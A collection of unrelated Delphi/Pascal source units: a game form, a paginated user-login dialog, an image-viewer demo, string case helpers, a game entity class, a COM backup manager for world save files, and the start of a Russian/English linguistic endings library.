procedure TfMain.FormKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if InputLocked then Exit;
end;
const SysMenuItemID = 9999;
procedure TfMain.FormCreate(Sender: TObject);
var
B: Boolean;
begin
Randomize;
IsMenu := True;
ClientWidth := 800;
ClientHeight := 600;
DisplayLocked := False;
B := (ParamCount > 0) and (ParamStr(1) = '-d');
SetTestMode(B);
DC := GetDC(fMain.Handle);
Application.OnMessage := WinMsgOM;
if B then
begin
AppendMenu(GetSystemMenu(Self.Handle, False), MF_SEPARATOR, 0, '');
AppendMenu(GetSystemMenu(Self.Handle, False), MF_BYPOSITION, SysMenuItemID, 'Консоль');
end;
SetLength(TimerEvents, 10);
Timer1.Interval := TimerTick;
FGraph := TGraph.Create(ExtractFilePath(ParamStr(0)));
// testing item generation
//while MessageDlg(TInvItem.GenItem(Random(100) + 100, Random(3)), mtCustom, mbYesNo, 0) = mrYes do ;
end;
procedure TfMain.FormDestroy(Sender: TObject);
begin
ReleaseDC(fMain.Handle, DC);
DeleteDC(DC);
FGraph.Free;
end;
procedure TfMain.Wait(MS: Integer);
begin
InputLocked := True;
Application.ProcessMessages;
Sleep(MS);
Application.ProcessMessages;
InputLocked := False;
end;
procedure TfMain.WinMsgOM(var Msg: Windows.TMsg; var Handled: Boolean);
begin
if Msg.Message = WM_SYSCOMMAND then
if Msg.WParam = SysMenuItemID then
fConsole.ShowModal;
end;
procedure TfMain.FormKeyPress(Sender: TObject; var Key: Char);
begin
SceneManager.Keys(Key);
end;
procedure TfMain.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
SceneManager.MouseDown(TMouseBtn(Button), X, Y);
end;
procedure TfMain.FormClick(Sender: TObject);
begin
Bar.Click;
end;
end.
|
unit Users;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Rtti, System.Classes,
System.Variants, FMX.Types, FMX.Controls, FMX.Forms, FMX.Dialogs,System.Generics.Collections, Math,
FMX.StdCtrls,UDialog, FMX.Objects, FMX.Edit;
type
Tloginuser = class(TDialogFrame)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Button5: TButton;
Button6: TButton;
Button7: TButton;
Button8: TButton;
Button9: TButton;
btnpageup: TButton;
btnpagedown: TButton;
Button10: TButton;
Button11: TButton;
Button12: TButton;
procedure Button1Click(Sender: TObject);
procedure btnpagedownClick(Sender: TObject);
procedure btnpageupClick(Sender: TObject);
procedure CloseButtonClick(Sender: TObject);
private
{ Private declarations }
currentpage: integer;
maxpage: integer;
Users: TStringList;
UserBtnList: TList<TButton>;
function getCurrentpageUsers(curpage: integer): TStringList;
public
constructor Create(ParentForm: TForm; ParentPanel: TPanel;
CallBackProc: IProcessDialogResult;UserNames :TStringList);
end;
//var
// loginuser: Tloginuser;
implementation
//uses Loginfrm;
{$R *.fmx}
procedure Tloginuser.btnpagedownClick(Sender: TObject);
begin
//inherited;
if currentpage < maxpage then
currentpage := currentpage + 1;
getCurrentpageUsers(currentpage);
end;
procedure Tloginuser.btnpageupClick(Sender: TObject);
begin
//inherited;
if currentpage > 1 then
begin
currentpage := currentpage - 1;
getCurrentpageUsers(currentpage);
end;
end;
procedure Tloginuser.Button1Click(Sender: TObject);
begin
//inherited;
ReturnString := (Sender as TButton).Text;
DialogResult := mrOK;
FProcessDialogResult.ProcessDialogResult;
end;
procedure Tloginuser.CloseButtonClick(Sender: TObject);
begin
self.DialogResult := mrCancel;
FProcessDialogResult.ProcessDialogResult;
end;
constructor Tloginuser.Create(ParentForm: TForm; ParentPanel: TPanel;
CallBackProc: IProcessDialogResult;usernames : TStringList);
var
I: integer;
j: integer;
//page: integer;
begin
inherited Create(ParentForm, ParentPanel, CallBackProc);
currentpage := 1;
UserBtnList := TList<TButton>.Create;
Users := usernames;//(ParentForm as TLoginForm).loginusers;
maxpage := Users.Count div 12;
if (Users.Count mod 12) > 0 then inc(maxpage);
UserBtnList.Add(Button1);
UserBtnList.Add(Button2);
UserBtnList.Add(Button3);
UserBtnList.Add(Button4);
UserBtnList.Add(Button5);
UserBtnList.Add(Button6);
UserBtnList.Add(Button7);
UserBtnList.Add(Button8);
UserBtnList.Add(Button9);
UserBtnList.Add(Button10);
UserBtnList.Add(Button11);
UserBtnList.Add(Button12);
j := Min(UserBtnList.Count - 1, Users.Count - 1);
for I := 0 to j do
begin
UserBtnList.Items[I].Text := Users[I];
end;
end;
function Tloginuser.getCurrentpageUsers(curpage: integer): TStringList;
var
I: integer;
j: integer;
begin
for I := 0 to UserBtnList.Count - 1 do
begin
UserBtnList.Items[I].Text := '';
end;
if curpage <> maxpage then
j := UserBtnList.Count - 1
else
j := (Users.Count mod 12) - 1;
for I := 0 to j do
begin
UserBtnList.Items[I].Text := Users[(curpage - 1) * 12 + I];
end;
end;
end.
|
unit UFormMain;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ATImageBox, ExtCtrls, StdCtrls, ComCtrls, ExtDlgs, Jpeg;
type
TFormMain = class(TForm)
Panel1: TPanel;
Box: TATImageBox;
GroupBox1: TGroupBox;
chkFit: TCheckBox;
chkCenter: TCheckBox;
chkFitOnlyBig: TCheckBox;
GroupBox2: TGroupBox;
TrackBar1: TTrackBar;
Label1: TLabel;
chkKeepPos: TCheckBox;
btnLoad: TButton;
chkBorder: TCheckBox;
OpenPictureDialog1: TOpenPictureDialog;
LabelScale: TLabel;
chkLabel: TCheckBox;
chkDrag: TCheckBox;
Bevel1: TBevel;
chkResample: TCheckBox;
labResampleDelay: TLabel;
edResampleDelay: TEdit;
chkFitW: TCheckBox;
chkFitH: TCheckBox;
procedure btnLoadClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure chkFitClick(Sender: TObject);
procedure chkFitOnlyBigClick(Sender: TObject);
procedure chkCenterClick(Sender: TObject);
procedure chkBorderClick(Sender: TObject);
procedure chkKeepPosClick(Sender: TObject);
procedure TrackBar1Change(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure chkLabelClick(Sender: TObject);
procedure chkDragClick(Sender: TObject);
procedure chkFitWClick(Sender: TObject);
private
{ Private declarations }
FUpdatingSelfOptions: Boolean;
procedure UpdateImageOptions;
procedure UpdateImageScaleOptions;
procedure UpdateSelfOptions;
procedure UpdateSelfScaleOptions;
procedure UpdateImageLabel;
public
{ Public declarations }
procedure LoadImage(const AFileName: string);
end;
var
FormMain: TFormMain;
implementation
{$R *.DFM}
procedure TFormMain.LoadImage(const AFileName: string);
begin
try
try
Box.Image.Picture.LoadFromFile(AFileName);
finally
Box.UpdateInfo;
UpdateSelfScaleOptions;
end;
except
ShowMessage(Format('Could not load image from "%s"', [AFileName]));
end;
end;
procedure TFormMain.UpdateImageOptions;
const
Borders: array[Boolean] of TBorderStyle = (bsNone, bsSingle);
begin
if not FUpdatingSelfOptions then
begin
Box.ImageFitToWindow := chkFit.Checked;
Box.ImageFitOnlyBig := chkFitOnlyBig.Checked;
Box.ImageFitWidth := chkFitW.Checked;
Box.ImageFitHeight := chkFitH.Checked;
Box.ImageCenter := chkCenter.Checked;
Box.Image.Resample:= chkResample.Checked;
Box.Image.ResampleDelay:= StrToIntDef(edResampleDelay.Text, Box.Image.ResampleDelay);
Box.BorderStyle := Borders[chkBorder.Checked];
Box.ImageLabel.Visible := chkLabel.Checked;
Box.ImageDrag := chkDrag.Checked;
Box.ImageKeepPosition := chkKeepPos.Checked;
end;
end;
procedure TFormMain.UpdateImageScaleOptions;
begin
if not FUpdatingSelfOptions then
begin
Box.ImageScale := TrackBar1.Position;
end;
end;
procedure TFormMain.UpdateSelfOptions;
begin
FUpdatingSelfOptions := True;
chkFit.Checked := Box.ImageFitToWindow;
UpdateSelfScaleOptions;
FUpdatingSelfOptions := False;
end;
procedure TFormMain.UpdateSelfScaleOptions;
begin
FUpdatingSelfOptions := True;
TrackBar1.Position := Box.ImageScale;
LabelScale.Caption := Format('%d%%', [Box.ImageScale]);
UpdateImageLabel;
FUpdatingSelfOptions := False;
end;
procedure TFormMain.UpdateImageLabel;
begin
with Box do
ImageLabel.Caption := Format(
'Original size: %d x %d'#13'Current scale: %d%%',
[ImageWidth, ImageHeight, ImageScale]);
end;
procedure TFormMain.btnLoadClick(Sender: TObject);
begin
with OpenPictureDialog1 do
begin
InitialDir := ExtractFileDir(Application.ExeName);
if Execute then
LoadImage(FileName);
end;
end;
procedure TFormMain.FormShow(Sender: TObject);
var
FileName: AnsiString;
begin
FileName := ExtractFilePath(Application.ExeName) + 'Test_flowers.jpg';
if FileExists(FileName) then
LoadImage(FileName);
end;
procedure TFormMain.chkFitClick(Sender: TObject);
begin
UpdateImageOptions;
UpdateSelfScaleOptions;
end;
procedure TFormMain.chkFitOnlyBigClick(Sender: TObject);
begin
UpdateImageOptions;
UpdateSelfScaleOptions;
end;
procedure TFormMain.chkCenterClick(Sender: TObject);
begin
UpdateImageOptions;
end;
procedure TFormMain.chkBorderClick(Sender: TObject);
begin
UpdateImageOptions;
UpdateSelfScaleOptions;
end;
procedure TFormMain.chkLabelClick(Sender: TObject);
begin
UpdateImageOptions;
end;
procedure TFormMain.chkKeepPosClick(Sender: TObject);
begin
UpdateImageOptions;
end;
procedure TFormMain.TrackBar1Change(Sender: TObject);
begin
UpdateImageScaleOptions;
UpdateSelfOptions;
end;
procedure TFormMain.chkDragClick(Sender: TObject);
begin
UpdateImageOptions;
end;
procedure TFormMain.FormCreate(Sender: TObject);
begin
Box.OnOptionsChange := FormResize;
Box.ImageLabel.Font.Color := clBlue;
FUpdatingSelfOptions := False;
UpdateImageOptions;
end;
procedure TFormMain.FormResize(Sender: TObject);
begin
UpdateSelfScaleOptions;
end;
procedure TFormMain.chkFitWClick(Sender: TObject);
begin
UpdateImageOptions;
end;
end.
|
unit uKata;
interface
function low(C : char) : Char;
function cap(C : char) : Char;
function lowAll(Str :String) : string;
function capAll(Str :String) : string;
function capFirst(Str :string) : string;
function capEach(Str :String) : string;
implementation
function low(C : char) : Char;
begin
case C of
'A' : C:='a';
'B' : C:='b';
'C' : C:='c';
'D' : C:='d';
'E' : C:='e';
'F' : C:='f';
'G' : C:='g';
'H' : C:='h';
'I' : C:='i';
'J' : C:='j';
'K' : C:='k';
'L' : C:='l';
'M' : C:='m';
'N' : C:='n';
'O' : C:='o';
'P' : C:='p';
'Q' : C:='q';
'R' : C:='r';
'S' : C:='s';
'T' : C:='t';
'U' : C:='u';
'V' : C:='v';
'W' : C:='w';
'X' : C:='x';
'Y' : C:='y';
'Z' : C:='z';
end;
low:=C;
end;
function cap(C : char) : Char;
begin
case C of
'a' : C:='A';
'b' : C:='B';
'c' : C:='C';
'd' : C:='D';
'e' : C:='E';
'f' : C:='F';
'g' : C:='G';
'h' : C:='H';
'i' : C:='I';
'j' : C:='J';
'k' : C:='K';
'l' : C:='L';
'm' : C:='M';
'n' : C:='N';
'o' : C:='O';
'p' : C:='P';
'q' : C:='Q';
'r' : C:='R';
's' : C:='S';
't' : C:='T';
'u' : C:='U';
'v' : C:='V';
'w' : C:='W';
'x' : C:='X';
'y' : C:='Y';
'z' : C:='Z';
end;
cap:=C;
end;
function lowAll(Str :String) : string;
var n, i : longint;
begin
n:=length(Str);
for i:=1 to n do
Str[i]:=low(Str[i]);
lowAll:=Str;
end;
function capAll(Str :String) : string;
var n, i : longint;
begin
n:=length(Str);
for i:=1 to n do
Str[i]:=cap(Str[i]);
capAll:=Str;
end;
function capFirst(Str :String) : string;
begin
Str:=lowAll(Str);
Str[1]:=cap(Str[1]);
capFirst:=Str;
end;
function capEach(Str :String) : string;
var n,i,m,j : longint;
tempPos : array[1..256] of integer;
begin
n:= length(Str);
j:=1;
Str:=lowAll(Str);
for i:=1 to n do
begin
if Str[i]=' ' then
begin
tempPos[j]:=i+1;
j:=j+1;
end;
Str[1]:=cap(Str[1]);
m:=j;
for j:=1 to m do
Str[tempPos[j]] := cap(Str[tempPos[j]]);
end;
capEach:=Str;
end;
end.
|
unit Entity;
interface
uses Types, DGLE;
type
TEntity = class(TObject)
private
FPos: TPoint;
FName: string;
FID: Integer;
procedure SetPos(const Value: TPoint);
function GetPos: TPoint;
procedure SetName(const Value: string);
procedure SetID(const Value: Integer);
public
Texture: ITexture;
constructor Create(X, Y, ID: Integer; TexFName: AnsiString; R: IResourceManager);
destructor Destroy; override;
procedure SetPosition(const X, Y: Integer);
property Pos: TPoint read GetPos write SetPos;
property Name: string read FName write SetName;
property ID: Integer read FID write SetID;
end;
implementation
{ TEntity }
constructor TEntity.Create(X, Y, ID: Integer; TexFName: AnsiString; R: IResourceManager);
begin
Name := '';
Texture := nil;
Self.ID := ID;
Self.SetPosition(X, Y);
R.Load(PAnsiChar(TexFName), IEngineBaseObject(Texture), TEXTURE_LOAD_DEFAULT_2D);
end;
destructor TEntity.Destroy;
begin
Texture := nil;
inherited;
end;
function TEntity.GetPos: TPoint;
begin
Result := FPos;
end;
procedure TEntity.SetID(const Value: Integer);
begin
FID := Value;
end;
procedure TEntity.SetName(const Value: string);
begin
FName := Value;
end;
procedure TEntity.SetPos(const Value: TPoint);
begin
FPos := Value;
end;
procedure TEntity.SetPosition(const X, Y: Integer);
begin
Pos := Point(X, Y);
end;
end.
|
unit BackUpManager;
interface
uses
ComObj, BackUpMgr_TLB, Classes;
type
TBackUpManager =
class(TAutoObject, IBackUpManager)
protected
function Get_ServersDir : widestring; safecall;
procedure Set_ServersDir(const Value : widestring); safecall;
function GetBackupName(i : integer) : widestring; safecall;
procedure EnumBackups; safecall;
function SetCurrentBackup(idx: integer): WordBool; safecall;
function Get_WorldName : widestring; safecall;
procedure Set_WorldName(const Value : widestring); safecall;
function Get_BackupCount: integer; safecall;
function GetBackupDate(i: integer): widestring; safecall;
function GetBackupSize(i: integer): widestring; safecall;
private
fServersDir : string;
fWorldName : string;
fBackups : TList;
end;
implementation
uses
ComServ, SysUtils;
type
PBackupData = ^TBackupData;
TBackupData =
record
name : string;
time : TDateTime;
size : single;
end;
function CompareBackups(Item1, Item2 : pointer) : integer;
begin
if PBackupData(Item1).time < PBackupData(Item2).time
then Result := 1
else
if PBackupData(Item1).time > PBackupData(Item2).time
then Result := -1
else Result := 0;
end;
function TBackUpManager.Get_ServersDir : widestring;
begin
Result := fServersDir;
end;
procedure TBackUpManager.Set_ServersDir(const Value : widestring);
begin
fServersDir := Value;
if fServersDir[length(fServersDir)] <> '\'
then fServersDir := fServersDir + '\';
end;
function TBackUpManager.GetBackupName(i : integer): widestring;
begin
if (fBackups <> nil) and (fBackups.Count > 0)
then Result := PBackupData(fBackups[i]).name
else Result := '';
end;
procedure TBackUpManager.EnumBackups;
var
info : TSearchRec;
ok : boolean;
path : string;
backupdata : PBackupData;
begin
if fBackups <> nil
then fBackups.Clear
else fBackups := TList.Create;
path := fServersDir + 'Data\Worlds\' + fWorldName + '\' + fWorldName + '*.back';
ok := FindFirst(path, faAnyFile, info) = 0;
try
while ok do
begin
new(backupdata);
backupdata.name := info.Name;
backupdata.time := FileDateToDateTime(info.Time);
backupdata.size := info.Size/1024;
fBackups.Add(backupdata);
ok := FindNext(info) = 0;
end;
fBackups.Sort(CompareBackups);
finally
FindClose(info);
end;
end;
function TBackUpManager.SetCurrentBackup(idx: integer): WordBool;
const
cCurrentBackupExt : string = '.world';
cOldBackupExt : string = '.world.old';
begin
if (fBackups <> nil) and (idx >= 0) and (idx < fBackups.Count)
then Result := (not FileExists(fServersDir + 'Data\Worlds\' + fWorldName + '\' + fWorldName + cOldBackupExt) or DeleteFile(fServersDir + 'Data\Worlds\' + fWorldName + '\' + fWorldName + cOldBackupExt)) and
(not FileExists(fServersDir + 'Data\Worlds\' + fWorldName + '\' + fWorldName + cCurrentBackupExt) or RenameFile(fServersDir + 'Data\Worlds\' + fWorldName + '\' + fWorldName + cCurrentBackupExt, fServersDir + 'Data\Worlds\' + fWorldName + '\' + fWorldName + cOldBackupExt)) and
RenameFile(fServersDir + 'Data\Worlds\' + fWorldName + '\' + PBackupData(fBackups[idx]).name, fServersDir + 'Data\Worlds\' + fWorldName + '\' + fWorldName + cCurrentBackupExt)
else Result := false;
end;
function TBackUpManager.Get_WorldName: widestring;
begin
Result := fWorldName;
end;
procedure TBackUpManager.Set_WorldName(const Value: widestring);
begin
fWorldName := Value;
end;
function TBackUpManager.Get_BackupCount: integer;
begin
if fBackups <> nil
then Result := fBackups.Count
else Result := 0;
end;
function TBackUpManager.GetBackupDate(i: integer): widestring;
begin
Result := DateTimeToStr(PBackupData(fBackups[i]).time);
end;
function TBackUpManager.GetBackupSize(i: integer): widestring;
begin
Result := FloatToStrF(PBackupData(fBackups[i]).size, ffFixed, 7, 4) + 'Kb';
end;
initialization
TAutoObjectFactory.Create(ComServer, TBackUpManager, Class_BackUpManager, ciMultiInstance);
end.
|
unit m0LNGLib;
{* Модуль интерфейса к лингвистическим библиотекам. }
(*
// module: m0lnglib.pas
// author: Mickael P. Golovin
//
// $Id: m0lnglib.pas,v 1.1 2014/08/20 16:31:25 lulin Exp $
*)
// $Log: m0lnglib.pas,v $
// Revision 1.1 2014/08/20 16:31:25 lulin
// - вычищаем мусор.
//
// Revision 1.15 2014/08/20 15:00:41 lulin
// - вычищаем мусор.
//
// Revision 1.14 2013/07/08 16:43:16 lulin
// - выделяем работу с размером куска памяти.
//
// Revision 1.13 2013/04/12 16:25:07 lulin
// - отлаживаем под XE3.
//
// Revision 1.12 2013/04/05 12:03:18 lulin
// - портируем.
//
// Revision 1.11 2012/11/01 09:43:03 lulin
// - забыл точку с запятой.
//
// Revision 1.10 2012/11/01 07:45:17 lulin
// - делаем возможность логирования процесса загрузки модулей.
//
// Revision 1.9 2012/03/07 12:53:19 narry
// Отвязываем окончания от базы
//
// Revision 1.8 2012/03/06 10:51:01 fireton
// - загружаем список окончаний из защищённого zip-файла
//
// Revision 1.7 2012/03/02 09:30:42 voba
// -k:310676394
//
// Revision 1.6 2009/10/19 11:04:24 voba
// - избавляемся от старой библиотеки регулярных выражений
//
// Revision 1.5 2009/04/28 06:46:53 voba
// - замена лингвистического модуля на l3LingLib
// - отпилил поддержку лингвистики от Agama и Informatic
//
// Revision 1.4 2008/05/05 08:14:23 lulin
// "Вован, что-то наменял" (C).
//
// Revision 1.3 2008/05/04 14:51:39 lulin
// - bug fix: не компилировалось после Вована.
//
// Revision 1.2 2008/05/04 12:03:06 voba
// - переделал m0REXDat
//
// Revision 1.1 2008/02/07 09:54:24 lulin
// - библиотека m0 переехала внутрь библиотеки L3.
//
// Revision 1.36 2007/08/15 14:26:48 lulin
// - не подключался нужный модуль.
//
// Revision 1.35 2007/08/14 14:30:15 lulin
// - оптимизируем перемещение блоков памяти.
//
// Revision 1.34 2007/05/10 08:00:16 fireton
// - константа для пометки неиспользованных форм
//
// Revision 1.33 2006/05/04 11:01:29 lulin
// - поправлен тип длины строки.
// - вычищены "старые" методы работы с памятью и строками.
//
// Revision 1.32 2005/05/24 11:07:40 lulin
// - cleanup.
//
// Revision 1.31 2005/05/17 09:56:11 lulin
// - "залечил" неосвобожненные объекты.
//
// Revision 1.30 2005/03/02 15:58:50 lulin
// - new behavior: выключен вывод в лог сообщений об обрезании длинных слов.
//
// Revision 1.29 2005/03/02 15:38:07 lulin
// - cleanup.
//
// Revision 1.28 2004/09/16 09:25:19 lulin
// - bug fix: наследники от evCtrl убивались в DesignTime произвольным образом.
//
// Revision 1.27 2003/11/26 15:26:00 fireton
// update: исходники частично отформатированы
//
// Revision 1.26 2002/10/30 13:43:37 law
// - new behavior: проверка орфографии с учетом сокращений с точкой.
//
// Revision 1.25 2002/10/14 07:47:30 migel
// MEDIALINGUA synchronization bugfix
//
// Revision 1.23 2002/09/11 15:43:04 law
// - change: адаптация к Delphi 7.0.
//
// Revision 1.22 2002/09/03 09:02:16 law
// - new behavior: один раз кладем НЕ.
//
// Revision 1.21 2002/09/03 08:49:29 law
// - change: изменен формат вызова callback процедуры.
//
// Revision 1.20 2002/09/03 08:22:17 law
// - new behavior: нормализация с отбрасыванием частицы НЕ.
//
// Revision 1.19 2002/04/24 14:56:51 law
// - cleanup.
//
// Revision 1.18 2002/04/16 15:04:35 law
// - new flag: Cm0LNGLibCheckDashes.
//
// Revision 1.17 2002/04/15 14:27:48 law
// - new flag: Cm0LNGLibCheckSpaces.
//
// Revision 1.16 2002/04/15 12:20:01 law
// - new const: Cm0LNGLibStatusToo_Long.
//
// Revision 1.15 2002/03/26 08:52:04 law
// - bug fix: из-за resourcestring попадали не все окончания.
//
// Revision 1.14 2002/03/25 15:52:06 law
// - cleanup.
//
// Revision 1.13 2002/03/25 14:39:24 law
// - cleanup: избавляемся от ненужных регулярных выражений.
//
// Revision 1.12 2002/03/22 14:53:21 law
// - cleanup: избавляемся от ненужных регулярных выражений.
//
// Revision 1.11 2002/03/22 13:34:41 law
// - bug fix: избавляемся от регулярных выражений.
//
// Revision 1.10 2002/02/08 14:09:34 law
// - remove unit: m0xltlib.
//
// Revision 1.9 2001/12/20 14:21:59 law
// - comments: xHelpGen.
//
{$Include m0Define.inc}
interface
uses
Windows,
Messages,
SysUtils,
Consts,
Classes,
l3Types,
m0Const,
//m0AddTyp,
//m0EXTInf,
l3LingLib,
m0S32Lib,
m0STRLib,
m2XLTLib,
m3EndingReplaceList
//,
//m0REXLib,
//m0REXDat
;
const
Cm0LNGLibStatusORIG_FORM = $00000001;
Cm0LNGLibStatusALTV_FORM = $00000002;
Cm0LNGLibStatusDATE_FORM = $00000004;
Cm0LNGLibStatusNUMB_FORM = $00000008;
Cm0LNGLibStatusUSED_FORM = $00000010;
Cm0LNGLibStatusNEXT_FORM = $00000020;
Cm0LNGLibStatusSTOP_FORM = $00000040;
Cm0LNGLibStatusNORM_FORM = $00000080;
Cm0LNGLibStatusPNRM_FORM = $00000100;
Cm0LNGLibStatusToo_Long = $00000200;
Cm0LNGLibStatusFORSCRCH = $00000400;
Cm0LNGLibStatusINIT_FORM = Cm0LNGLibStatusORIG_FORM;
Cm0LNGLibFlagORIG_FORM = $00000000;
Cm0LNGLibFlagNORM_FORM = $00000001;
{* - возвращать нормальные формы? }
Cm0LNGLibFlagALTV_FORM = $00000002;
{* - создавать альтернативы? }
Cm0LNGLibFlagUSET_FORM = $00000004;
{* - поднимать регистр? }
Cm0LNGLibFlagDMYN_FORM = $00000008;
{* - разбирать даты в парсере? }
Cm0LNGLibFlagUPNF_FORM = $00000010;
{* - псевдонормализация. }
Cm0LNGLibCheckSpaces = $00000020;
{* - проверять пробелы после получения альтернатив. }
Cm0LNGLibCheckDashes = $00000040;
{* - проверять дефисные конструкции? }
type
Tm0LNGLibCharsBuff = packed array [0..064] of AnsiChar;
Tm0LNGLibCharsInfo = (
Cm0LNGLibUnknown,
Cm0LNGLibEnglish,
Cm0LNGLibRussian
);
Tm0LNGLibCallBackProc = procedure(AStatus : LongInt;
ABuff : PAnsiChar;
ASize : Cardinal) of object;
{-}
procedure m0LNGNormalBuff(AStatus: LongInt; AFlags: LongInt; ABuff: PAnsiChar;
ASize: Cardinal; AOemCp: LongBool; AProc: Tm0LNGLibCallBackProc;
aWithDot: Bool = False; aTemp: PPointer = nil);
{-}
procedure m0ExplicitEndingsListLoad;
{- загружаем список окончаний принудительно}
type
Tm0EndingReplaceListInitProc = procedure(aERList: Tm3EndingReplaceList);
const
g_InitEndingListProc : Tm0EndingReplaceListInitProc = nil;
implementation
uses
StrUtils,
l3Chars,
l3String,
l3Base,
l3MemorySizeUtils,
l3Memory,
l3ExceptionsLog,
l3Stream,
l3Interfaces,
l3EndingList,
l3MinMax
;
var
_g_EnglishEndings: Tl3EndingList = nil;
_g_RussianEndings: Tl3EndingList = nil;
gEndingReplace : Tm3EndingReplaceList = nil;
const
c_EnglishEndings = 'ability|able|ably|acy|age|aged|al|ally|an|ance|ancy|ant' +
'|antly|ary|ate|ated|ately|ating|ation|ative|atively|' +
'ator|ed|ely|ement|ence|ency|eness|ent|eous|eously|' +
'eousness|er|es|ess|ful|fully|ing|ion|ional|ish|ism|' +
'ist|ive|ively|less|ly|ment|mental|ness|or|ous|ously|' + 'ousness';
c_RussianEndings = 'а|ав|авал|авала|авая|аев|аем|аема|аемой|ает|ал|ала|али|' +
'ало|ам|ами|ан|ана|ание|аний|анин|ано|аном|ась|ат|атся|' +
'ать|ах|ашей|ащая|аще|ащим|ащих|ают' +
'|аяся|бой|бу|в|вал|вала|ват|ватой|ватом|вка|вке|вки|' +
'вкой|вое|вок|вшая|вшей|вшейся|вшем|вшему|вши|вшим|' +
'вших|вшую|вым|гли|дшей' +
'|дши|е|еала|ев|евал|евала|евая|евой|его|егося|ее|еев|' +
'ееся|ей|ел|ели|ело|ем|емая|емо|емой|емом|емся|емуся|' +
'емы|ен|ена|енем|ение|ений|енно|ено|еной|еном|ены|' +
'ести|ете|ется|еть|ец|ешь|ещей|ею|' + 'енный|енного' +
'еюся|жий|зли|зм|зма|зме|змом|зму|зти|и|иала|ив|ивал' +
'|ивала|ивая|ие|иев|ией|ием|иеся|ии|ий|ийся|ил|ила|или' +
'|илий|ило|им|има|имая|ими|имо|имой|имы|ина|иная|ино|' +
'иной|ином|ирую|ируя|истой|ись|ит|ите|ится|ить|их|ихся' + '|иче' +
'|ишей|ишь|ию|ия|й|йка|йке|йки|йкой|йной|йся|йте|йти|' +
'йше|йшей|йшим|ка|кам|ке|ки|кие|кий|кими|кли|кой|ку|л|' +
'ла|лен|лена|ли|лива|ливой|ливы|ло|лось|лся|льно|ми' +
'|мися|мое|мым|мя|н|на|ная|него|нее|нему|ние|нием|нии' + '|ный|ного' +
'|ний|ним|ними|нию|ниях|нна|ннем|нние|нний|нной|нном|' +
'нняя|но|ное|ной|ном|нута|нутом|нуты|нуть|ным|о|ов|' +
'овав|овал|овала|ован|ована|ованно|овано|ованы|овая|' +
'овли|овной|овой|овом|ого|ое|оев|ой|ок|ока|оки|ола|оли' +
'|ом|омая' + '|ому|она|оний|онно|оном|ости|ость|ою|ск|ская|ские|ский' +
'|ским|ское|ской|ском|ств|ства|стве|ство|ством|ству|стей' +
'|ского|ских' + '|сти|стью|сь|та|тая|тесь|ти|тивы|тие|тием|тии|тое|том|' +
'тся|тым|ть|ться|' + 'у|уала|ув|уемой|ует|ул|ула|ули|уло|ум|уном|усь|ут|утой|' +
'утся|уты|ух|ушая|ушей|ущая|уще|ущим|ущих|ую|уюся|уют|ца' +
'|цев|ции|ций|цию|ция' + '|чатой|че|чен|чески|чива|чивы|чии|чий|чли|чна|чно|чти|'
+
'чь|чье|чьей|чьи|чься|шего|шее|шей|шемся|шему|шен|ши|' +
'шие|ший|шийся|шими|шимся|ших|шли|шься|щего|щее|щей|' +
'щейся|щемся|щему|щен|щие|щий|щийся|щими|щимся|щих|' +
'щую|ы|ывал|ывала|ые|ый|ыл|ыли|ыло|ым|ыми|ыт|ытий|ыть' +
'|ых|ышей|ь|ье|ьев|ьего|ьей|ьем|ьему|ьи|ьим|ьими|ьми|' +
'ьна|ьной|ьном|ьте|ьше|ья|ьям|ьях|ю|юсь|ются|ющая|юще|' +
'ющем|ющим|ющих|юю|я|яв|яев|яем|яема|яемой|яет|ял|яла|' +
'яли|яло|ям|ями|яние|яний|яной|ясь|ят|яте|ятой|ятся|ять' +
'|ях|ящая|яще|ящем|ящим|ящих|яю|яют';
function g_EnglishEndings: Tl3EndingList;
{-}
begin
if (_g_EnglishEndings = nil) then
_g_EnglishEndings := Tl3EndingList.Create(c_EnglishEndings);
Result := _g_EnglishEndings;
end;
function g_RussianEndings: Tl3EndingList;
{-}
begin
if (_g_RussianEndings = nil) then
_g_RussianEndings := Tl3EndingList.Create(c_RussianEndings);
Result := _g_RussianEndings;
end;
const
cNot: PAnsiChar = 'НЕ';
{ -- unit.private -- }
{.$Define m0OutTooLongWord}
{$IFDEF _m0LANGUAGE_ENG}
{$IfDef m0OutTooLongWord}
resourcestring
SWTooLongWord = 'The word is too long, and has truncated:'^J'"%s"';
{$EndIf m0OutTooLongWord}
{$ENDIF}
{$IFDEF _m0LANGUAGE_RUS}
{$IfDef m0OutTooLongWord}
resourcestring
SWTooLongWord = 'Слишком длинное слово, было сокращено:'^J'"%s"';
{$EndIf m0OutTooLongWord}
{$ENDIF}
const
Cm0EXTInfGramSize = $0080;
Cm0EXTInfDataSize = $0200;
//Cm0EXTInfAltvSize = $0040;
//Cm0EXTInfWordSize = $0040;
type
Tm0EXTInfGramBuff = packed array [0..Pred(Cm0EXTInfGramSize)] of AnsiChar;
Tm0EXTInfDataBuff = packed array [0..Pred(Cm0EXTInfDataSize)] of AnsiChar;
//Tm0EXTInfAltvBuff = packed array [0..Pred(Cm0EXTInfAltvSize)] of AnsiChar;
//Tm0EXTInfWordBuff = packed array [0..Pred(Cm0EXTInfWordSize)] of AnsiChar;
function _IsNOUN(aWInfo: Byte): LongBool;
begin
Result := (((AWInfo >= $07) and (AWInfo <= $18)) or //существительное
((AWInfo >= $25) and (AWInfo <= $2f)) or // имя собственное
(AWInfo = $37) or // ??
(AWInfo = $3b) or //Аббревиатура, пишущаяся прописными буквами
(AWInfo = $3c)); //Аббревиатура, пишущаяся строчными буквами
end;
function _IsADJC(aWInfo : Byte): LongBool;
begin
Result := (aWInfo = $19) or (aWInfo = $1a) or (aWInfo = $1c) or // Прилагательное
(aWInfo = $38); //??
end;
function _ChkChars(ABuff: PAnsiChar; ASize: Cardinal): Tm0LNGLibCharsInfo;
begin
if l3AllCharsInCharSet(aBuff, aSize, cc_ANSIRussian) then
Result := Cm0LNGLibRussian
else
if l3AllCharsInCharSet(aBuff, aSize, cc_ANSIEnglish) then
Result := Cm0LNGLibEnglish
else
Result := Cm0LNGLibUnknown;
end;
